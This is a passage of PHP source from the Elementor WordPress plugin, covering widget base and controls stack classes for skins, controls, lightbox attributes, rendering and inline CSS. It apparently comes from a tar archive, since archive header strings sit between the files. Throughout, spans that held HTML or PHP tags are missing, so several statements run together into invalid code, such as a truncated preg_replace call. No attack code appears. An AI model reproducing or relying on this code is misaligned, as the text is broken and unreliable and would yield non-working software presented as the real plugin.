' . $parts['extended']; } if ( empty( $parts['more_text'] ) ) { $parts['more_text'] = esc_html__( '(more…)', 'elementor' ); } $more_link_text = sprintf( '%2$s', sprintf( /* translators: %s: Current post name. */ __( 'Continue reading %s', 'elementor' ), the_title_attribute( [ 'echo' => false, ] ) ), $parts['more_text'] ); $more_link = sprintf( ' %s', get_permalink(), $post->ID, $more_link_text ); /** * The content "more" link. * * Filters the "more" link displayed after the content. * * This hook can be used either to change the link syntax or to change the * text inside the link. * * @since 2.0.4 * * @param string $more_link The more link. * @param string $more_link_text The text inside the more link. */ $more_link = apply_filters( 'the_content_more_link', $more_link, $more_link_text ); return force_balance_tags( $parts['main'] ) . $more_link; } } includes/base/widget-base.php000064400000102531147206604650012204 0ustar00is_type_instance(); if ( ! $is_type_instance && null === $args ) { throw new \Exception( 'An `$args` argument is required when initializing a full widget instance.' ); } if ( $is_type_instance ) { if ( $this->has_own_method( '_register_skins', self::class ) ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( '_register_skins', '3.1.0', __CLASS__ . '::register_skins()' ); $this->_register_skins(); } else { $this->register_skins(); } $widget_name = $this->get_name(); /** * Widget skin init. * * Fires when Elementor widget is being initialized. * * The dynamic portion of the hook name, `$widget_name`, refers to the widget name. * * @since 1.0.0 * * @param Widget_Base $this The current widget. */ do_action( "elementor/widget/{$widget_name}/skins_init", $this ); } } /** * Get stack. * * Retrieve the widget stack of controls. * * @since 1.9.2 * @access public * * @param bool $with_common_controls Optional. Whether to include the common controls. Default is true. * * @return array Widget stack of controls. */ public function get_stack( $with_common_controls = true ) { $stack = parent::get_stack(); if ( $with_common_controls && 'common' !== $this->get_unique_name() ) { /** @var Widget_Common $common_widget */ $common_widget = Plugin::$instance->widgets_manager->get_widget_types( 'common' ); $stack['controls'] = array_merge( $stack['controls'], $common_widget->get_controls() ); $stack['tabs'] = array_merge( $stack['tabs'], $common_widget->get_tabs_controls() ); } return $stack; } /** * Get widget controls pointer index. * * Retrieve widget pointer index where the next control should be added. * * While using injection point, it will return the injection point index. Otherwise index of the last control of the * current widget itself without the common controls, plus one. * * @since 1.9.2 * @access public * * @return int Widget controls pointer index. */ public function get_pointer_index() { $injection_point = $this->get_injection_point(); if ( null !== $injection_point ) { return $injection_point['index']; } return count( $this->get_stack( false )['controls'] ); } /** * Show in panel. * * Whether to show the widget in the panel or not. By default returns true. * * @since 1.0.0 * @access public * * @return bool Whether to show the widget in the panel or not. */ public function show_in_panel() { return true; } /** * Hide on search. * * Whether to hide the widget on search in the panel or not. By default returns false. * * @access public * * @return bool Whether to hide the widget when searching for widget or not. */ public function hide_on_search() { return false; } /** * Start widget controls section. * * Used to add a new section of controls to the widget. Regular controls and * skin controls. * * Note that when you add new controls to widgets they must be wrapped by * `start_controls_section()` and `end_controls_section()`. * * @since 1.0.0 * @access public * * @param string $section_id Section ID. * @param array $args Section arguments Optional. */ public function start_controls_section( $section_id, array $args = [] ) { parent::start_controls_section( $section_id, $args ); if ( $this->is_first_section ) { $this->register_skin_control(); $this->is_first_section = false; } } /** * Register the Skin Control if the widget has skins. * * An internal method that is used to add a skin control to the widget. * Added at the top of the controls section. * * @since 2.0.0 * @access private */ private function register_skin_control() { $skins = $this->get_skins(); if ( ! empty( $skins ) ) { $skin_options = []; if ( $this->_has_template_content ) { $skin_options[''] = esc_html__( 'Default', 'elementor' ); } foreach ( $skins as $skin_id => $skin ) { $skin_options[ $skin_id ] = $skin->get_title(); } // Get the first item for default value $default_value = array_keys( $skin_options ); $default_value = array_shift( $default_value ); if ( 1 >= count( $skin_options ) ) { $this->add_control( '_skin', [ 'label' => esc_html__( 'Skin', 'elementor' ), 'type' => Controls_Manager::HIDDEN, 'default' => $default_value, ] ); } else { $this->add_control( '_skin', [ 'label' => esc_html__( 'Skin', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => $default_value, 'options' => $skin_options, ] ); } } } /** * Register widget skins - deprecated prefixed method * * @since 1.7.12 * @access protected * @deprecated 3.1.0 Use `register_skins()` method instead. */ protected function _register_skins() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.1.0', 'register_skins()' ); $this->register_skins(); } /** * Register widget skins. * * This method is activated while initializing the widget base class. It is * used to assign skins to widgets with `add_skin()` method. * * Usage: * * protected function register_skins() { * $this->add_skin( new Skin_Classic( $this ) ); * } * * @since 3.1.0 * @access protected */ protected function register_skins() {} /** * Get initial config. * * Retrieve the current widget initial configuration. * * Adds more configuration on top of the controls list, the tabs assigned to * the control, element name, type, icon and more. This method also adds * widget type, keywords and categories. * * @since 2.9.0 * @access protected * * @return array The initial widget config. */ protected function get_initial_config() { $config = [ 'widget_type' => $this->get_name(), 'keywords' => $this->get_keywords(), 'categories' => $this->get_categories(), 'html_wrapper_class' => $this->get_html_wrapper_class(), 'show_in_panel' => $this->show_in_panel(), 'hide_on_search' => $this->hide_on_search(), 'upsale_data' => $this->get_upsale_data(), 'is_dynamic_content' => $this->is_dynamic_content(), ]; if ( isset( $config['upsale_data'] ) && is_array( $config['upsale_data'] ) ) { $filter_name = 'elementor/widgets/' . $this->get_name() . '/custom_promotion'; $config['upsale_data'] = Filtered_Promotions_Manager::get_filtered_promotion_data( $config['upsale_data'], $filter_name, 'upgrade_url' ); } if ( isset( $config['upsale_data']['image'] ) ) { $config['upsale_data']['image'] = esc_url( $config['upsale_data']['image'] ); } $stack = Plugin::$instance->controls_manager->get_element_stack( $this ); if ( $stack ) { $config['controls'] = $this->get_stack( false )['controls']; $config['tabs_controls'] = $this->get_tabs_controls(); } return array_replace_recursive( parent::get_initial_config(), $config ); } /** * @since 2.3.1 * @access protected */ protected function should_print_empty() { return false; } /** * Print widget content template. * * Used to generate the widget content template on the editor, using a * Backbone JavaScript template. * * @since 2.0.0 * @access protected * * @param string $template_content Template content. */ protected function print_template_content( $template_content ) { ?>
get_settings() ); $content = shortcode_unautop( $content ); $content = do_shortcode( $content ); $content = wptexturize( $content ); if ( $GLOBALS['wp_embed'] instanceof \WP_Embed ) { $content = $GLOBALS['wp_embed']->autoembed( $content ); } return $content; } /** * Safe print parsed text editor. * * @uses static::parse_text_editor. * * @access protected * * @param string $content Text editor content. */ final protected function print_text_editor( $content ) { // PHPCS - the method `parse_text_editor` is safe. echo static::parse_text_editor( $content ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Get HTML wrapper class. * * Retrieve the widget container class. Can be used to override the * container class for specific widgets. * * @since 2.0.9 * @access protected */ protected function get_html_wrapper_class() { return 'elementor-widget-' . $this->get_name(); } /** * Add widget render attributes. * * Used to add attributes to the current widget wrapper HTML tag. * * @since 1.0.0 * @access protected */ protected function add_render_attributes() { parent::add_render_attributes(); $this->add_render_attribute( '_wrapper', 'class', [ 'elementor-widget', $this->get_html_wrapper_class(), ] ); $settings = $this->get_settings(); $this->add_render_attribute( '_wrapper', 'data-widget_type', $this->get_name() . '.' . ( ! empty( $settings['_skin'] ) ? $settings['_skin'] : 'default' ) ); } /** * Add lightbox data to image link. * * Used to add lightbox data attributes to image link HTML. * * @since 2.9.1 * @access public * * @param string $link_html Image link HTML. * @param string $id Attachment id. * * @return string Image link HTML with lightbox data attributes. */ public function add_lightbox_data_to_image_link( $link_html, $id ) { $settings = $this->get_settings_for_display(); $open_lightbox = isset( $settings['open_lightbox'] ) ? $settings['open_lightbox'] : null; if ( Plugin::$instance->editor->is_edit_mode() ) { $this->add_render_attribute( 'link', 'class', 'elementor-clickable', true ); } $this->add_lightbox_data_attributes( 'link', $id, $open_lightbox, $this->get_id(), true ); return preg_replace( '/^get_render_attribute_string( 'link' ), $link_html ); } /** * Add Light-Box attributes. * * Used to add Light-Box-related data attributes to links that open media files. * * @param array|string $element The link HTML element. * @param int $id The ID of the image * @param string $lightbox_setting_key The setting key that dictates whether to open the image in a lightbox * @param string $group_id Unique ID for a group of lightbox images * @param bool $overwrite Optional. Whether to overwrite existing * attribute. Default is false, not to overwrite. * * @return Widget_Base Current instance of the widget. * @since 2.9.0 * @access public * */ public function add_lightbox_data_attributes( $element, $id = null, $lightbox_setting_key = null, $group_id = null, $overwrite = false ) { $kit = Plugin::$instance->kits_manager->get_active_kit(); $is_global_image_lightbox_enabled = 'yes' === $kit->get_settings( 'global_image_lightbox' ); if ( 'no' === $lightbox_setting_key ) { if ( $is_global_image_lightbox_enabled ) { $this->add_render_attribute( $element, 'data-elementor-open-lightbox', 'no', $overwrite ); } return $this; } if ( 'yes' !== $lightbox_setting_key && ! $is_global_image_lightbox_enabled ) { return $this; } $attributes['data-elementor-open-lightbox'] = 'yes'; $action_hash_params = []; if ( $id ) { $action_hash_params['id'] = $id; $action_hash_params['url'] = wp_get_attachment_url( $id ); } if ( $group_id ) { $attributes['data-elementor-lightbox-slideshow'] = $group_id; $action_hash_params['slideshow'] = $group_id; } if ( $id ) { $lightbox_image_attributes = Plugin::$instance->images_manager->get_lightbox_image_attributes( $id ); if ( isset( $lightbox_image_attributes['title'] ) ) { $attributes['data-elementor-lightbox-title'] = $lightbox_image_attributes['title']; } if ( isset( $lightbox_image_attributes['description'] ) ) { $attributes['data-elementor-lightbox-description'] = $lightbox_image_attributes['description']; } } $attributes['data-e-action-hash'] = Plugin::instance()->frontend->create_action_hash( 'lightbox', $action_hash_params ); $this->add_render_attribute( $element, $attributes, null, $overwrite ); return $this; } /** * Render widget output on the frontend. * * Used to generate the final HTML displayed on the frontend. * * Note that if skin is selected, it will be rendered by the skin itself, * not the widget. * * @since 1.0.0 * @access public */ public function render_content() { /** * Before widget render content. * * Fires before Elementor widget is being rendered. * * @since 1.0.0 * * @param Widget_Base $this The current widget. */ do_action( 'elementor/widget/before_render_content', $this ); ob_start(); $skin = $this->get_current_skin(); if ( $skin ) { $skin->set_parent( $this ); $skin->render_by_mode(); } else { $this->render_by_mode(); } $widget_content = ob_get_clean(); if ( empty( $widget_content ) ) { return; } ?>
is_widget_first_render( $this->get_group_name() ) ) { $this->register_runtime_widget( $this->get_group_name() ); } // $this->print_widget_css(); // get_name /** * Render widget content. * * Filters the widget content before it's rendered. * * @since 1.0.0 * * @param string $widget_content The content of the widget. * @param Widget_Base $this The widget. */ $widget_content = apply_filters( 'elementor/widget/render_content', $widget_content, $this ); echo $widget_content; // XSS ok. ?>
render_content(); } /** * Before widget rendering. * * Used to add stuff before the widget `_wrapper` element. * * @since 1.0.0 * @access public */ public function before_render() { ?>
print_render_attribute_string( '_wrapper' ); ?>>
get_data( 'widgetType' ); if ( $with_html_content ) { ob_start(); $this->render_content(); $data['htmlCache'] = ob_get_clean(); } return $data; } /** * Print widget content. * * Output the widget final HTML on the frontend. * * @since 1.0.0 * @access protected */ protected function print_content() { $this->render_content(); } /** * Print a setting content without escaping. * * Script tags are allowed on frontend according to the WP theme securing policy. * * @param string $setting * @param null $repeater_name * @param null $index */ final public function print_unescaped_setting( $setting, $repeater_name = null, $index = null ) { if ( $repeater_name ) { $repeater = $this->get_settings_for_display( $repeater_name ); $output = $repeater[ $index ][ $setting ]; } else { $output = $this->get_settings_for_display( $setting ); } echo $output; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Get default data. * * Retrieve the default widget data. Used to reset the data on initialization. * * @since 1.0.0 * @access protected * * @return array Default data. */ protected function get_default_data() { $data = parent::get_default_data(); $data['widgetType'] = ''; return $data; } /** * Get default child type. * * Retrieve the widget child type based on element data. * * @since 1.0.0 * @access protected * * @param array $element_data Widget ID. * * @return array|false Child type or false if it's not a valid widget. */ protected function _get_default_child_type( array $element_data ) { return Plugin::$instance->elements_manager->get_element_types( 'section' ); } /** * Get repeater setting key. * * Retrieve the unique setting key for the current repeater item. Used to connect the current element in the * repeater to it's settings model and it's control in the panel. * * PHP usage (inside `Widget_Base::render()` method): * * $tabs = $this->get_settings( 'tabs' ); * foreach ( $tabs as $index => $item ) { * $tab_title_setting_key = $this->get_repeater_setting_key( 'tab_title', 'tabs', $index ); * $this->add_inline_editing_attributes( $tab_title_setting_key, 'none' ); * echo '
get_render_attribute_string( $tab_title_setting_key ) . '>' . $item['tab_title'] . '
'; * } * * @since 1.8.0 * @access protected * * @param string $setting_key The current setting key inside the repeater item (e.g. `tab_title`). * @param string $repeater_key The repeater key containing the array of all the items in the repeater (e.g. `tabs`). * @param int $repeater_item_index The current item index in the repeater array (e.g. `3`). * * @return string The repeater setting key (e.g. `tabs.3.tab_title`). */ protected function get_repeater_setting_key( $setting_key, $repeater_key, $repeater_item_index ) { return implode( '.', [ $repeater_key, $repeater_item_index, $setting_key ] ); } /** * Add inline editing attributes. * * Define specific area in the element to be editable inline. The element can have several areas, with this method * you can set the area inside the element that can be edited inline. You can also define the type of toolbar the * user will see, whether it will be a basic toolbar or an advanced one. * * Note: When you use wysiwyg control use the advanced toolbar, with textarea control use the basic toolbar. Text * control should not have toolbar. * * PHP usage (inside `Widget_Base::render()` method): * * $this->add_inline_editing_attributes( 'text', 'advanced' ); * echo '
get_render_attribute_string( 'text' ) . '>' . $this->get_settings( 'text' ) . '
'; * * @since 1.8.0 * @access protected * * @param string $key Element key. * @param string $toolbar Optional. Toolbar type. Accepted values are `advanced`, `basic` or `none`. Default is * `basic`. */ protected function add_inline_editing_attributes( $key, $toolbar = 'basic' ) { if ( ! Plugin::$instance->editor->is_edit_mode() ) { return; } $this->add_render_attribute( $key, [ 'class' => 'elementor-inline-editing', 'data-elementor-setting-key' => $key, ] ); if ( 'basic' !== $toolbar ) { $this->add_render_attribute( $key, [ 'data-elementor-inline-editing-toolbar' => $toolbar, ] ); } } /** * Add new skin. * * Register new widget skin to allow the user to set custom designs. Must be * called inside the `register_skins()` method. * * @since 1.0.0 * @access public * * @param Skin_Base $skin Skin instance. */ public function add_skin( Skin_Base $skin ) { Plugin::$instance->skins_manager->add_skin( $this, $skin ); } /** * Get single skin. * * Retrieve a single skin based on skin ID, from all the skin assigned to * the widget. If the skin does not exist or not assigned to the widget, * return false. * * @since 1.0.0 * @access public * * @param string $skin_id Skin ID. * * @return string|false Single skin, or false. */ public function get_skin( $skin_id ) { $skins = $this->get_skins(); if ( isset( $skins[ $skin_id ] ) ) { return $skins[ $skin_id ]; } return false; } /** * Get current skin ID. * * Retrieve the ID of the current skin. * * @since 1.0.0 * @access public * * @return string Current skin. */ public function get_current_skin_id() { return $this->get_settings( '_skin' ); } /** * Get current skin. * * Retrieve the current skin, or if non exist return false. * * @since 1.0.0 * @access public * * @return Skin_Base|false Current skin or false. */ public function get_current_skin() { return $this->get_skin( $this->get_current_skin_id() ); } /** * Remove widget skin. * * Unregister an existing skin and remove it from the widget. * * @since 1.0.0 * @access public * * @param string $skin_id Skin ID. * * @return \WP_Error|true Whether the skin was removed successfully from the widget. */ public function remove_skin( $skin_id ) { return Plugin::$instance->skins_manager->remove_skin( $this, $skin_id ); } /** * Get widget skins. * * Retrieve all the skin assigned to the widget. * * @since 1.0.0 * @access public * * @return Skin_Base[] */ public function get_skins() { return Plugin::$instance->skins_manager->get_skins( $this ); } /** * Get group name. * * Some widgets need to use group names, this method allows you to create them. * By default it retrieves the regular name. * * @since 3.3.0 * @access public * * @return string Unique name. */ public function get_group_name() { return $this->get_name(); } /** * Get Inline CSS dependencies. * * Retrieve a list of inline CSS dependencies that the element requires. * * @since 3.3.0 * @access public * * @return array. */ public function get_inline_css_depends() { return []; } /** * @param string $plugin_title Plugin's title * @param string $since Plugin version widget was deprecated * @param string $last Plugin version in which the widget will be removed * @param string $replacement Widget replacement */ protected function deprecated_notice( $plugin_title, $since, $last = '', $replacement = '' ) { $this->start_controls_section( 'Deprecated', [ 'label' => esc_html__( 'Deprecated', 'elementor' ), ] ); $this->add_control( 'deprecated_notice', [ 'type' => Controls_Manager::DEPRECATED_NOTICE, 'widget' => $this->get_title(), 'since' => $since, 'last' => $last, 'plugin' => $plugin_title, 'replacement' => $replacement, ] ); $this->end_controls_section(); } /** * Init controls. * * Reset the `is_first_section` flag to true, so when the Stacks are cleared * all the controls will be registered again with their skins and settings. * * @since 3.14.0 * @access protected */ protected function init_controls() { $this->is_first_section = true; parent::init_controls(); } public function register_runtime_widget( $widget_name ) { self::$registered_runtime_widgets[] = $widget_name; } public function get_widget_css_config( $widget_name ) { $direction = is_rtl() ? '-rtl' : ''; $has_custom_breakpoints = $this->is_custom_breakpoints_widget(); $file_name = 'widget-' . $widget_name . $direction . '.min.css'; // The URL of the widget's external CSS file that is loaded in case that the CSS content is too large to be printed inline. $file_url = Plugin::$instance->frontend->get_frontend_file_url( $file_name, $has_custom_breakpoints ); // The local path of the widget's CSS file that is being read and saved in the DB when the CSS content should be printed inline. $file_path = Plugin::$instance->frontend->get_frontend_file_path( $file_name, $has_custom_breakpoints ); $file_timestamp = file_exists( $file_path ) ? filemtime( $file_path ) : ELEMENTOR_VERSION; return [ 'key' => $widget_name, 'version' => ELEMENTOR_VERSION, 'file_path' => $file_path, 'data' => [ 'file_url' => $file_url . '?ver=' . $file_timestamp, ], ]; } public function get_css_config() { return $this->get_widget_css_config( $this->get_group_name() ); } public function get_responsive_widgets_config() { $responsive_widgets_data_manager = $this->get_responsive_widgets_data_manager(); return [ 'key' => $responsive_widgets_data_manager::RESPONSIVE_WIDGETS_DATABASE_KEY, 'version' => ELEMENTOR_VERSION, 'file_path' => ELEMENTOR_ASSETS_PATH . $responsive_widgets_data_manager::RESPONSIVE_WIDGETS_FILE_PATH, ]; } public function get_responsive_widgets() { $responsive_widgets_data_manager = $this->get_responsive_widgets_data_manager(); $config = $this->get_responsive_widgets_config(); return $responsive_widgets_data_manager->get_asset_data_from_config( $config ); } /** * Mark widget as deprecated. * * Use `get_deprecation_message()` method to print the message control at specific location in register_controls(). * * @param $version string The version of Elementor that deprecated the widget. * @param $message string A message regarding the deprecation. * @param $replacement string The widget that should be used instead. */ protected function add_deprecation_message( $version, $message, $replacement ) { // Expose the config for handling in JS. $this->set_config( 'deprecation', [ 'version' => $version, 'message' => $message, 'replacement' => $replacement, ] ); $this->add_control( 'deprecation_message', [ 'type' => Controls_Manager::ALERT, 'alert_type' => 'info', 'content' => $message, 'separator' => 'after', ] ); } /** * Get Responsive Widgets Data Manager. * * Retrieve the data manager that handles widgets that are using media queries for custom-breakpoints values. * * @since 3.5.0 * @access protected * * @return Responsive_Widgets_Data_Manager */ protected function get_responsive_widgets_data_manager() { if ( ! self::$responsive_widgets_data_manager ) { self::$responsive_widgets_data_manager = new Responsive_Widgets_Data_Manager(); } return self::$responsive_widgets_data_manager; } /** * Is Custom Breakpoints Widget. * * Checking if there are active custom-breakpoints and if the widget use them. * * @since 3.5.0 * @access protected * * @return boolean */ protected function is_custom_breakpoints_widget() { $has_custom_breakpoints = Plugin::$instance->breakpoints->has_custom_breakpoints(); if ( $has_custom_breakpoints ) { $responsive_widgets = $this->get_responsive_widgets(); // The $widget_name can also represents a widgets group name, therefore we need to use the current widget name to check if it's responsive widget. $current_widget_name = $this->get_name(); // If the widget is not implementing custom-breakpoints media queries then it has no custom- css file. if ( ! isset( $responsive_widgets[ $current_widget_name ] ) ) { $has_custom_breakpoints = false; } } return $has_custom_breakpoints; } private function get_widget_css() { $widgets_css_data_manager = $this->get_widgets_css_data_manager(); $widgets_list = $this->get_inline_css_depends(); $widgets_list[] = $this->get_group_name(); $widget_css = ''; foreach ( $widgets_list as $widget_data ) { $widget_name = isset( $widget_data['name'] ) ? $widget_data['name'] : $widget_data; if ( ! in_array( $widget_name, self::$registered_inline_css_widgets, true ) ) { if ( $this->get_group_name() === $widget_name ) { $config = $this->get_css_config(); } else { /** * The core-dependency allowing to create a dependency specifically with the core widgets. * Otherwise, the config will be taken from the class that inherits from Widget_Base. */ $is_core_dependency = isset( $widget_data['is_core_dependency'] ) ? true : false; $config = $is_core_dependency ? self::get_widget_css_config( $widget_name ) : $this->get_widget_css_config( $widget_name ); } $widget_css .= $widgets_css_data_manager->get_asset_data_from_config( $config ); self::$registered_inline_css_widgets[] = $widget_name; } } return $widget_css; } private function is_inline_css_mode() { static $is_active; if ( null === $is_active ) { $is_edit_mode = Plugin::$instance->editor->is_edit_mode(); $is_preview_mode = Plugin::$instance->preview->is_preview_mode(); $is_optimized_mode = Plugin::$instance->experiments->is_feature_active( 'e_optimized_css_loading' ); $is_active = ( Utils::is_script_debug() || $is_edit_mode || $is_preview_mode || ! $is_optimized_mode ) ? false : true; } return $is_active; } private function print_widget_css() { if ( ! $this->is_inline_css_mode() ) { return; } Utils::print_unescaped_internal_string( $this->get_widget_css() ); } private function get_widgets_css_data_manager() { if ( ! self::$widgets_css_data_manager ) { self::$widgets_css_data_manager = new Widgets_Css_Data_Manager(); } return self::$widgets_css_data_manager; } } includes/base/controls-stack.php000064400000211060147206604650012755 0ustar00get_name(); } /** * Get element ID. * * Retrieve the element generic ID. * * @since 1.4.0 * @access public * * @return string The ID. */ public function get_id() { return $this->id; } /** * Get element ID. * * Retrieve the element generic ID as integer. * * @since 1.8.0 * @access public * * @return string The converted ID. */ public function get_id_int() { /** We ignore possible notices, in order to support elements created prior to v1.8.0 and might include * non-base 16 characters as part of their ID. */ return @hexdec( $this->id ); } /** * Get widget number. * * Get the first three numbers of the element converted ID. * * @since 3.16 * @access public * * @return string The widget number. */ public function get_widget_number(): string { return substr( $this->get_id_int(), 0, 3 ); } /** * Get the type. * * Retrieve the type, e.g. 'stack', 'section', 'widget' etc. * * @since 1.4.0 * @access public * @static * * @return string The type. */ public static function get_type() { return 'stack'; } /** * @since 2.9.0 * @access public * * @return bool */ public function is_editable() { return true; } /** * Get current section. * * When inserting new controls, this method will retrieve the current section. * * @since 1.7.1 * @access public * * @return null|array Current section. */ public function get_current_section() { return $this->current_section; } /** * Get current tab. * * When inserting new controls, this method will retrieve the current tab. * * @since 1.7.1 * @access public * * @return null|array Current tab. */ public function get_current_tab() { return $this->current_tab; } /** * Get controls. * * Retrieve all the controls or, when requested, a specific control. * * @since 1.4.0 * @access public * * @param string $control_id The ID of the requested control. Optional field, * when set it will return a specific control. * Default is null. * * @return mixed Controls list. */ public function get_controls( $control_id = null ) { $stack = $this->get_stack(); if ( null !== $control_id ) { $control_data = self::get_items( $stack['controls'], $control_id ); if ( null === $control_data && ! empty( $stack['style_controls'] ) ) { $control_data = self::get_items( $stack['style_controls'], $control_id ); } return $control_data; } $controls = $stack['controls']; if ( Performance::is_use_style_controls() && ! empty( $stack['style_controls'] ) ) { $controls += $stack['style_controls']; } return self::get_items( $controls, $control_id ); } /** * Get active controls. * * Retrieve an array of active controls that meet the condition field. * * If specific controls was given as a parameter, retrieve active controls * from that list, otherwise check for all the controls available. * * @since 1.4.0 * @since 2.0.9 Added the `controls` and the `settings` parameters. * @access public * @deprecated 3.0.0 * * @param array $controls Optional. An array of controls. Default is null. * @param array $settings Optional. Controls settings. Default is null. * * @return array Active controls. */ public function get_active_controls( array $controls = null, array $settings = null ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.0.0' ); if ( ! $controls ) { $controls = $this->get_controls(); } if ( ! $settings ) { $settings = $this->get_controls_settings(); } $active_controls = array_reduce( array_keys( $controls ), function( $active_controls, $control_key ) use ( $controls, $settings ) { $control = $controls[ $control_key ]; if ( $this->is_control_visible( $control, $settings, $controls ) ) { $active_controls[ $control_key ] = $control; } return $active_controls; }, [] ); return $active_controls; } /** * Get controls settings. * * Retrieve the settings for all the controls that represent them. * * @since 1.5.0 * @access public * * @return array Controls settings. */ public function get_controls_settings() { return array_intersect_key( $this->get_settings(), $this->get_controls() ); } /** * Add new control to stack. * * Register a single control to allow the user to set/update data. * * This method should be used inside `register_controls()`. * * @since 1.4.0 * @access public * * @param string $id Control ID. * @param array $args Control arguments. * @param array $options Optional. Control options. Default is an empty array. * * @return bool True if control added, False otherwise. */ public function add_control( $id, array $args, $options = [] ) { $default_options = [ 'overwrite' => false, 'position' => null, ]; if ( isset( $args['scheme'] ) ) { $args['global'] = [ 'default' => Plugin::$instance->kits_manager->convert_scheme_to_global( $args['scheme'] ), ]; unset( $args['scheme'] ); } $options = array_merge( $default_options, $options ); if ( $options['position'] ) { $this->start_injection( $options['position'] ); } if ( $this->injection_point ) { $options['index'] = $this->injection_point['index']++; } if ( empty( $args['type'] ) || ! in_array( $args['type'], [ Controls_Manager::SECTION, Controls_Manager::WP_WIDGET ], true ) ) { $args = $this->handle_control_position( $args, $id, $options['overwrite'] ); } if ( $options['position'] ) { $this->end_injection(); } unset( $options['position'] ); if ( $this->current_popover ) { $args['popover'] = []; if ( ! $this->current_popover['initialized'] ) { $args['popover']['start'] = true; $this->current_popover['initialized'] = true; } } if ( Performance::should_optimize_controls() ) { $ui_controls = [ Controls_Manager::RAW_HTML, Controls_Manager::DIVIDER, Controls_Manager::HEADING, Controls_Manager::BUTTON, Controls_Manager::ALERT, Controls_Manager::NOTICE, Controls_Manager::DEPRECATED_NOTICE, ]; if ( ! empty( $args['type'] ) && ! empty( $args['section'] ) && in_array( $args['type'], $ui_controls ) ) { $args = [ 'type' => $args['type'], 'section' => $args['section'], ]; } unset( $args['label_block'], $args['label'], $args['title'], $args['tab'], $args['options'], $args['placeholder'], $args['separator'], $args['size_units'], $args['range'], $args['toggle'], $args['ai'], $args['classes'], $args['style_transfer'], $args['show_label'], $args['description'], $args['label_on'], $args['label_off'], $args['labels'], $args['handles'], $args['editor_available'], ); } return Plugin::$instance->controls_manager->add_control_to_stack( $this, $id, $args, $options ); } /** * Remove control from stack. * * Unregister an existing control and remove it from the stack. * * @since 1.4.0 * @access public * * @param string $control_id Control ID. * * @return bool|\WP_Error */ public function remove_control( $control_id ) { return Plugin::$instance->controls_manager->remove_control_from_stack( $this->get_unique_name(), $control_id ); } /** * Update control in stack. * * Change the value of an existing control in the stack. When you add new * control you set the `$args` parameter, this method allows you to update * the arguments by passing new data. * * @since 1.4.0 * @since 1.8.1 New `$options` parameter added. * * @access public * * @param string $control_id Control ID. * @param array $args Control arguments. Only the new fields you want * to update. * @param array $options Optional. Some additional options. Default is * an empty array. * * @return bool */ public function update_control( $control_id, array $args, array $options = [] ) { $is_updated = Plugin::$instance->controls_manager->update_control_in_stack( $this, $control_id, $args, $options ); if ( ! $is_updated ) { return false; } $control = $this->get_controls( $control_id ); if ( Controls_Manager::SECTION === $control['type'] ) { $section_args = $this->get_section_args( $control_id ); $section_controls = $this->get_section_controls( $control_id ); foreach ( $section_controls as $section_control_id => $section_control ) { $this->update_control( $section_control_id, $section_args, $options ); } } return true; } /** * Get stack. * * Retrieve the stack of controls. * * @since 1.9.2 * @access public * * @return array Stack of controls. */ public function get_stack() { $stack = Plugin::$instance->controls_manager->get_element_stack( $this ); if ( null === $stack ) { $this->init_controls(); return Plugin::$instance->controls_manager->get_element_stack( $this ); } return $stack; } /** * Get position information. * * Retrieve the position while injecting data, based on the element type. * * @since 1.7.0 * @access public * * @param array $position { * The injection position. * * @type string $type Injection type, either `control` or `section`. * Default is `control`. * @type string $at Where to inject. If `$type` is `control` accepts * `before` and `after`. If `$type` is `section` * accepts `start` and `end`. Default values based on * the `type`. * @type string $of Control/Section ID. * @type array $fallback Fallback injection position. When the position is * not found it will try to fetch the fallback * position. * } * * @return bool|array Position info. */ final public function get_position_info( array $position ) { $default_position = [ 'type' => 'control', 'at' => 'after', ]; if ( ! empty( $position['type'] ) && 'section' === $position['type'] ) { $default_position['at'] = 'end'; } $position = array_merge( $default_position, $position ); if ( 'control' === $position['type'] && in_array( $position['at'], [ 'start', 'end' ], true ) || 'section' === $position['type'] && in_array( $position['at'], [ 'before', 'after' ], true ) ) { _doing_it_wrong( sprintf( '%s::%s', get_called_class(), __FUNCTION__ ), 'Invalid position arguments. Use `before` / `after` for control or `start` / `end` for section.', '1.7.0' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped return false; } $target_control_index = $this->get_control_index( $position['of'] ); if ( false === $target_control_index ) { if ( ! empty( $position['fallback'] ) ) { return $this->get_position_info( $position['fallback'] ); } return false; } $target_section_index = $target_control_index; $registered_controls = $this->get_controls(); $controls_keys = array_keys( $registered_controls ); while ( Controls_Manager::SECTION !== $registered_controls[ $controls_keys[ $target_section_index ] ]['type'] ) { $target_section_index--; } if ( 'section' === $position['type'] ) { $target_control_index++; if ( 'end' === $position['at'] ) { while ( Controls_Manager::SECTION !== $registered_controls[ $controls_keys[ $target_control_index ] ]['type'] ) { if ( ++$target_control_index >= count( $registered_controls ) ) { break; } } } } $target_control = $registered_controls[ $controls_keys[ $target_control_index ] ]; if ( 'after' === $position['at'] ) { $target_control_index++; } $section_id = $registered_controls[ $controls_keys[ $target_section_index ] ]['name']; $position_info = [ 'index' => $target_control_index, 'section' => $this->get_section_args( $section_id ), ]; if ( ! empty( $target_control['tabs_wrapper'] ) ) { $position_info['tab'] = [ 'tabs_wrapper' => $target_control['tabs_wrapper'], 'inner_tab' => $target_control['inner_tab'], ]; } return $position_info; } /** * Get control key. * * Retrieve the key of the control based on a given index of the control. * * @since 1.9.2 * @access public * * @param string $control_index Control index. * * @return int Control key. */ final public function get_control_key( $control_index ) { $registered_controls = $this->get_controls(); $controls_keys = array_keys( $registered_controls ); return $controls_keys[ $control_index ]; } /** * Get control index. * * Retrieve the index of the control based on a given key of the control. * * @since 1.7.6 * @access public * * @param string $control_key Control key. * * @return false|int Control index. */ final public function get_control_index( $control_key ) { $controls = $this->get_controls(); $controls_keys = array_keys( $controls ); return array_search( $control_key, $controls_keys ); } /** * Get section controls. * * Retrieve all controls under a specific section. * * @since 1.7.6 * @access public * * @param string $section_id Section ID. * * @return array Section controls */ final public function get_section_controls( $section_id ) { $section_index = $this->get_control_index( $section_id ); $section_controls = []; $registered_controls = $this->get_controls(); $controls_keys = array_keys( $registered_controls 